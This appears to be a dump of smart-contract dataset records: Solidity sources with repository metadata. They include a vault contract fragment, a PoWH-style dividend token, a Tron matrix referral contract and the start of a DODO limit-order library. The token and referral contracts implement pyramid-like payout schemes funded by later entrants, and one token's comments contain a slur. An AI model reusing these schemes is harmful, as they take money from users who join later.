emergency=true;
}
function revokeEmergency() public DAO
{
require(emergency,"Emergency not declared.");
uint256 D = want.balanceOf(address(this));
mc.deposit(allnums[0],D,address(dao));
emergency=false;
}
function emergencyWithdraw(uint256 _amt) public rg
{
require(emergency,"Its not an emergency. Use withdraw() instead.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
uint256 ts = totalSupply;
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 W = (_amt.mul(vbb)).div(ts);
require(want.transfer(msg.sender,W), "Unable to deboard");
}
function changeRoute(address[] memory ra) public DAO {routeA = ra; }
function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success)
{
//Generally, there are not supposed to be any tokens in this contract itself:
//Upon Deposits, the assets go from User to the MasterChef of Strategy,
//Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and
//Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy.
//Never allow draining main "want" token from the Granary:
//Main token can only be withdrawn using the EmergencyWithdraw
require(tokenAddress != address(want), "Funds are Safu in emergency!");
if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;}
else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);}
else return false;
}
//Read-Only Functions
//Useful for performance analysis
function info() public view returns (uint256, uint256, uint256, IMasterchef.UserInfo memory, IMasterchef.PoolInfo memory, uint256, uint256[] memory , uint256)
{
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x
uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1%
(,,,uint256[] memory rs) = mc.pendingTokens(allnums[0],address(this));
return(aum,
roi,
apy,
mc.userInfo(allnums[0],address(this)),
mc.poolInfo(allnums[0]),
mc.totalAllocPoint(),
rs,
rs[0]);
}
//TVL in USD, 1e18===$1.
//Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl
function tvl() public view returns(uint256)
{
ITVL tc = ITVL(utvl);
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
return ((tc.p_lpt_coin_usd(address(want))).mul(aum)).div(1e18);
//return ((tc.p_lpt_usd(address(address(rA[rA.length-1])),want)).mul(aum)).div(1e18);
}
}
| 314,341 | 10,945 |
20eecc9f997b3013c54cc2f7a8ab58e360b7a0d33eb26a4aac26a338b356bed9
| 20,143 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0xd3573c393e3ac2149c52764eaba15d9cda8136dd.sol
| 4,134 | 15,598 |
pragma solidity ^0.4.20;
contract KOD {
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "KODICIA";
string public symbol = "KOD";
uint8 constant public decimals = 18;
/// @dev 10% dividends for token purchase
uint8 constant internal entryFee_ = 10;
/// @dev 10% dividends for token transfer
uint8 constant internal transferFee_ = 10;
/// @dev 10% dividends for token selling
uint8 constant internal exitFee_ = 10;
/// @dev 35% of entryFee_ (i.e. 7% dividends) is given to referrer
uint8 constant internal refferalFee_ = 35;
uint256 constant internal tokenPriceInitial_ = 0.00180000 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,811 | 10,946 |
c62a9afa36c2ead25b2a9386ddaceb1885ec7eacf351711e8e03170896b56b20
| 19,160 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TM35d65uM8YTfwN9FsVGhotQEGYpV4kwip_DEZLink.sol
| 4,681 | 18,299 |
//SourceUnit: DEZLink.sol
pragma solidity >=0.4.23 <0.6.0;
contract DEZLink {
uint sponsorFee = 20;
uint guaranteeFee = 10;
uint jackpotFee = 1;
uint multitierFee = 19;
uint crowdFee = 50;
struct User {
uint id;
address referrer;
uint partnersCount;
uint totalEarning;
uint totalSelfBusiness;
uint regDate;
uint currentLevel;
mapping(uint8 => bool) activeX48Levels;
mapping(uint8 => X4) x4Matrix;
}
struct X4 {
address currentReferrer;
address[] referrals;
bool isActive;
bool blocked;
uint totalSpillId;
uint upgradeDate;
uint requestId;
bool upSpilled;
}
uint8 public constant LAST_LEVEL = 17;
uint public lastUserId = 2;
uint public lastRequestId = 17;
address public owner;
address _jackpotAddress;
address _multitierAddress;
address _guaranteeAddress;
address _stackAddress;
mapping(address => User) public users;
mapping(uint => address) public lastRequest;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(uint256 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId, address uplineId, uint regDate);
event Upgrade(address indexed user, address indexed referrer, uint8 level, uint udate);
constructor(address ownerAddress, address jackpotAddress, address multitierAddress, address guaranteeAddress, address stackAddress) public {
levelPrice[1] = 1000 trx;
levelPrice[2] = 1000 trx;
levelPrice[3] = 1500 trx;
levelPrice[4] = 3000 trx;
levelPrice[5] = 4500 trx;
levelPrice[6] = 9000 trx;
levelPrice[7] = 13500 trx;
levelPrice[8] = 27000 trx;
levelPrice[9] = 40000 trx;
levelPrice[10] = 80000 trx;
levelPrice[11] = 120000 trx;
levelPrice[12] = 240000 trx;
levelPrice[13] = 360000 trx;
levelPrice[14] = 700000 trx;
levelPrice[15] = 1000000 trx;
levelPrice[16] = 2000000 trx;
levelPrice[17] = 3000000 trx;
owner = ownerAddress;
_guaranteeAddress = guaranteeAddress;
_jackpotAddress = jackpotAddress;
_multitierAddress = multitierAddress;
_stackAddress = stackAddress;
User memory user = User({
id: 1,
referrer: address(uint160(0x0000000000000000000000000000)),
partnersCount: uint(0),
totalEarning: uint(0),
totalSelfBusiness: uint(0),
regDate: now,
currentLevel: 0
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
userIds[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX48Levels[i] = true;
users[ownerAddress].currentLevel = i;
users[ownerAddress].x4Matrix[i].requestId = i;
lastRequest[i] = ownerAddress;
users[ownerAddress].x4Matrix[i].upgradeDate = now;
users[ownerAddress].x4Matrix[i].isActive = true;
}
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, idToAddress[1]);
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function registration(address userAddress, address referrerAddress) private {
uint256 stackPrice = (levelPrice[1] * 1) / 100;
uint256 _levelPrice = levelPrice[1] + stackPrice;
require(msg.value == _levelPrice, "registration cost 1010 trx");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
totalEarning: uint(0),
totalSelfBusiness: uint(0),
regDate: now,
currentLevel: 1
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX48Levels[1] = true;
users[referrerAddress].totalSelfBusiness = users[referrerAddress].totalSelfBusiness + levelPrice[1];
userIds[lastUserId] = userAddress;
lastUserId++;
lastRequestId++;
lastRequest[lastRequestId] = userAddress;
users[referrerAddress].partnersCount++;
address freePlacement = findPlacement(referrerAddress, 1);
users[userAddress].x4Matrix[1].currentReferrer = freePlacement;
users[userAddress].x4Matrix[1].upgradeDate = now;
users[userAddress].x4Matrix[1].isActive = true;
users[userAddress].x4Matrix[1].requestId = lastRequestId;
users[freePlacement].x4Matrix[1].referrals.push(userAddress);
if(users[userAddress].referrer != freePlacement)
{
users[freePlacement].x4Matrix[1].totalSpillId = users[freePlacement].x4Matrix[1].totalSpillId + 1;
}
payForLevel(1,userAddress,freePlacement);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id, freePlacement, now);
//emit Upgrade(userAddress, freePlacement, 1, now);
}
function buyNewLevel(uint8 level) external payable {
uint256 stackPrice = (levelPrice[level] * 1) / 100;
uint256 _levelPrice = levelPrice[level] + stackPrice;
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(_levelPrice > 1 && msg.value == _levelPrice, "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
require(!users[msg.sender].activeX48Levels[level], "level already activated");
require(users[msg.sender].activeX48Levels[level-1], "Buy previous level first.");
address freeReferrer = findSponsorOfLevel(msg.sender, level);
address freePlacement = findPlacement(freeReferrer, level);
lastRequestId++;
lastRequest[lastRequestId] = msg.sender;
users[msg.sender].x4Matrix[level].isActive = true;
users[msg.sender].x4Matrix[level].currentReferrer = freePlacement;
users[msg.sender].x4Matrix[level].upgradeDate = now;
users[msg.sender].x4Matrix[level].isActive = true;
users[msg.sender].x4Matrix[level].requestId = lastRequestId;
users[freePlacement].x4Matrix[level].referrals.push(msg.sender);
if(users[msg.sender].referrer != freePlacement)
{
users[freePlacement].x4Matrix[level].totalSpillId = users[freePlacement].x4Matrix[level].totalSpillId + 1;
}
users[msg.sender].activeX48Levels[level] = true;
users[msg.sender].currentLevel = level;
users[users[msg.sender].referrer].totalSelfBusiness = users[users[msg.sender].referrer].totalSelfBusiness + levelPrice[level];
payForLevel(level,msg.sender,freePlacement);
emit Upgrade(msg.sender, freePlacement, level, now);
}
function payForLevel(uint8 level, address userAddress,address freePlacement) internal {
address _sponsorAddress = users[userAddress].referrer;
uint256 stackPrice = (levelPrice[level] * 1) / 100;
uint256 _crowdPrice = (levelPrice[level] * crowdFee) / 100;
uint256 _sponsorPrice = (levelPrice[level] * sponsorFee) / 100;
uint256 _guaranteePrice = (levelPrice[level] * guaranteeFee) / 100;
uint256 _jackpotPrice = (levelPrice[level] * jackpotFee) / 100;
uint256 _multitierPrice = (levelPrice[level] * multitierFee) / 100;
uint256 _total;
_total = _sponsorPrice + _guaranteePrice + _jackpotPrice + _multitierPrice + _crowdPrice;
require(levelPrice[level] == _total, "Cost overflow");
require(isUserExists(_sponsorAddress), "Sponsor is not exists. Register first.");
require(isUserExists(freePlacement), "UplineId is not exists. Register first.");
require((stackPrice > 0 && _sponsorPrice > 0 && _guaranteePrice > 0 && _jackpotPrice > 0 && _crowdPrice > 0 && _multitierPrice > 0), "Transaction Failure with stack zero");
require((address(uint160(_stackAddress)).send(stackPrice)) &&
(address(uint160(freePlacement)).send(_crowdPrice)) &&
(address(uint160(_sponsorAddress)).send(_sponsorPrice)) &&
(address(uint160(_guaranteeAddress)).send(_guaranteePrice)) &&
(address(uint160(_jackpotAddress)).send(_jackpotPrice)) &&
(address(uint160(_multitierAddress)).send(_multitierPrice)) , "Transaction Failure");
users[_sponsorAddress].totalEarning = users[_sponsorAddress].totalEarning + _sponsorPrice;
users[freePlacement].totalEarning = users[freePlacement].totalEarning + _crowdPrice;
}
function findSponsorOfLevel(address userAddress, uint8 level) internal returns(address) {
address sponsorId = users[userAddress].referrer;
if (users[sponsorId].activeX48Levels[level]) {
users[userAddress].x4Matrix[level].upSpilled = true;
return sponsorId;
}
else if (users[users[sponsorId].referrer].activeX48Levels[level]) {
users[userAddress].x4Matrix[level].upSpilled = false;
return users[sponsorId].referrer;
}
else {
users[userAddress].x4Matrix[level].upSpilled = false;
return userIds[1];
}
}
function findFreeX2Placement(address uplineId, uint8 level) internal returns(address)
{
if(isUserExists(uplineId))
{
address referralsId;
if(users[uplineId].x4Matrix[level].referrals.length > 0)
{
for (uint k=0; k < users[uplineId].x4Matrix[level].referrals.length; k++)
{
referralsId = users[uplineId].x4Matrix[level].referrals[k];
if(users[referralsId].x4Matrix[level].referrals.length == 0)
{
return referralsId;
}
else
{
if(users[referralsId].x4Matrix[level].referrals.length == 2)
{
users[referralsId].x4Matrix[level].blocked = true;
}
else
{
return referralsId;
}
}
}
return users[uplineId].x4Matrix[level].referrals[0];
}
else{
return uplineId;
}
}
}
function findFreeX4Placement(address uplineId, uint8 level) internal returns(address)
{
if(isUserExists(uplineId))
{
address referralsId;
if(users[uplineId].x4Matrix[level].referrals.length > 0)
{
for (uint k=0; k < users[uplineId].x4Matrix[level].referrals.length; k++)
{
referralsId = users[uplineId].x4Matrix[level].referrals[k];
if(users[referralsId].x4Matrix[level].referrals.length == 0)
{
return referralsId;
}
else
{
if(users[referralsId].x4Matrix[level].referrals.length == 4)
{
users[referralsId].x4Matrix[level].blocked = true;
}
else
{
if(users[msg.sender].referrer == referralsId || users[referralsId].x4Matrix[level].totalSpillId < 3)
{
return referralsId;
}
}
}
}
return users[uplineId].x4Matrix[level].referrals[0];
}
else{
return uplineId;
}
}
}
function findFreeX8Placement(address uplineId, uint8 level) internal returns(address)
{
if(isUserExists(uplineId))
{
address referralsId;
if(users[uplineId].x4Matrix[level].referrals.length > 0)
{
for (uint k=0; k < users[uplineId].x4Matrix[level].referrals.length; k++)
{
referralsId = users[uplineId].x4Matrix[level].referrals[k];
if(users[referralsId].x4Matrix[level].referrals.length == 0)
{
return referralsId;
}
else
{
if(users[referralsId].x4Matrix[level].referrals.length == 8)
{
users[referralsId].x4Matrix[level].blocked = true;
}
else
{
if(users[msg.sender].referrer == referralsId || users[referralsId].x4Matrix[level].totalSpillId < 5)
{
return referralsId;
}
}
}
}
return users[uplineId].x4Matrix[level].referrals[0];
}
else{
return uplineId;
}
}
}
function findPlacement(address sponsorId, uint8 level) internal returns(address)
{
require(isUserExists(sponsorId), "Sponsor is not exists.");
if(isUserExists(sponsorId))
{
address sponsorLoopId = sponsorId;
uint len = 0;
uint _totalSpill = 0;
if(level == 1)
{
while(true)
{
len = users[sponsorLoopId].x4Matrix[level].referrals.length;
if(len == 0)
{
return sponsorLoopId;
}
else if (len < 2 && len > 0) {
_totalSpill = users[sponsorLoopId].x4Matrix[level].totalSpillId;
if(users[msg.sender].referrer == sponsorLoopId)
{
return sponsorLoopId;
}
else{
return sponsorLoopId;
}
}
else
{
users[sponsorLoopId].x4Matrix[level].blocked = true;
}
sponsorLoopId = findFreeX2Placement(sponsorLoopId, level);
}
}
else if(level == 2 || level == 4 || level == 6 || level == 8 || level == 10 || level == 12 || level == 14 || level == 16)
{
while(true)
{
len = users[sponsorLoopId].x4Matrix[level].referrals.length;
if(len == 0)
{
return sponsorLoopId;
}
else if (len < 4 && len > 0) {
_totalSpill = users[sponsorLoopId].x4Matrix[level].totalSpillId;
if(users[msg.sender].referrer == sponsorLoopId)
{
return sponsorLoopId;
}
else{
if(_totalSpill < 3)
{
return sponsorLoopId;
}
}
}
else
{
users[sponsorLoopId].x4Matrix[level].blocked = true;
}
sponsorLoopId = findFreeX4Placement(sponsorLoopId, level);
}
}
else
{
while(true)
{
len = users[sponsorLoopId].x4Matrix[level].referrals.length;
if(len == 0)
{
return sponsorLoopId;
}
else if (len < 8 && len > 0) {
_totalSpill = users[sponsorLoopId].x4Matrix[level].totalSpillId;
if(users[msg.sender].referrer == sponsorLoopId)
{
return sponsorLoopId;
}
else{
if(_totalSpill < 5)
{
return sponsorLoopId;
}
}
}
else
{
users[sponsorLoopId].x4Matrix[level].blocked = true;
}
sponsorLoopId = findFreeX8Placement(sponsorLoopId, level);
}
}
}
else{
return userIds[1];
}
}
// All External Function
function getMatrix(address _userAddress, uint8 level) public view returns(address upline,uint totalSpilled,address[] memory referrals,bool isBlocked,bool isActive, uint upgradeDate, uint requestID, bool upSpilled) {
X4 memory x44 = users[_userAddress].x4Matrix[level];
return (x44.currentReferrer, x44.totalSpillId,x44.referrals, x44.blocked,x44.isActive, x44.upgradeDate, x44.requestId, x44.upSpilled);
}
// View Direct referral
function viewUserSponsor(address _userAddress) public view returns (address) {
return users[_userAddress].referrer;
}
// View Upline referral
function viewUserUpline(address _userAddress, uint8 level) public view returns (address) {
return users[_userAddress].x4Matrix[level].currentReferrer;
}
// View Downline referral
function viewUserDownline(address _userAddress, uint8 level) public view returns (address[] memory) {
return users[_userAddress].x4Matrix[level].referrals;
}
// fallback
}
| 295,347 | 10,947 |
4f0258b33d6513ac56d9c8ee26f4270d6c9f896c31133a154d59fcc74416d674
| 30,600 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5c/5Cd953fC2001487D74142B9c8B74eE95A95b7139_DODOLimitOrder.sol
| 5,636 | 20,641 |
// File: contracts/intf/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
